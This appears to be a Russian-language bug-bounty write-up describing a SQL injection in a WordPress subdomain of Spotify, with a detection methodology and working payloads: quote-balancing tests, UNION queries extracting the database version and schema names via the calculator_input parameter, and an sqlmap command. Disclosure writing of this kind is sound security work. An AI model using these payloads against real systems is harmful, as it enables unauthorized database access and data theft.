SQL инъекция в Spotify

SQL инъекция в Spotify

Этичный Хакер

Привет, ребята, сегодня я расскажу об одной из своих находок в Spotify. В этом блоге мы поговорим об SQL инъекции. Я обнаружил ее 9 мая 2021 года.

Во-первых, я советую всем, кто хочет узнать об SQL инъекциях и о том, как обнаружить и использовать их более подробно, заглянуть на этот ресурс.

Давайте начнем...

Простая методология

Позвольте мне объяснить методологию, которую мы будем использовать для обнаружения и использования ошибки.

  1. Попробуйте ввести некоторые вредоносные символы, например ' \ /, чтобы проверить, изменился ли ответ, или вы получили ошибку SQL. Если вы вставляет ' после введённого числа, то на бэкенде Select random_data From random_table where user_input='122'' and aykalam='1'; будет генерироваться ошибка или ответ будет другим. И если вам удалось обнаружить ошибку, попробуйте сбалансировать запрос, используя символы балансировки, такие как' ') " ") ')) "))
  2. Попробуйте использовать order by и union запросы, если вы не получили ошибку или изменение в ответе.
  3. Попробуйте использовать слепые команды, такие как sleep, и проверьте время отклика и поведение ответа.

Детали уязвимости

Уязвимый поддомен — один из поддоменов, перечисленных на странице политики программы. Он построен на WordPress.

После навигации и тестирования каждой функции я нашел ту, которая просит пользователя ввести случайное число больше 100.

Я ввел 122, проверил запрос в прокси-сервере и обнаружил этот ответ:

На первый взгляд, я не знал, что это значит и для чего используется возвращаемый ответ. Но я уверен, что пользовательский ввод имеет дело с базой данных.

Запрос отправляется с номером 122 и просит базу данных вернуть значения в зависимости от этого числа.

Попытка использовать плохие символы, например \, после номера, изменила ответ.

Что ж, попробуем сбалансировать запрос. Я пробовал разные символы. Подобрав правильный, можно сдампить всю базу данных.

calculator_input=122' and 100=100-- - "Failed"
calculator_input=122" and 100=100-- - "Failed"
calculator_input=122') and 100=100-- - "Failed"
calculator_input=122") and 100=100-- - "Failed"
calculator_input=122 and 100=100-- - "Successed"

После этого я попытался получить имя базы данных и ее версию. Для этого я использовал union запрос:

calculator_input=122 UNION ALL SELECT NULL,version()-- -

Кроме того, чтобы сдампить схему, я использовал следующую полезную нагрузку

calculator_input=122 UNION ALL SELECT NULL,CONCAT(schema_name) from information_schema.schemata-- -

Итак, хватит работать вручную и давайте использовать SQLmap:

sqlmap -r request.txt --level 3 --risk 1 --batch --dbms="MySql"

Все работает нормально, инъекция в Spotify выполнена успешно!



Report Page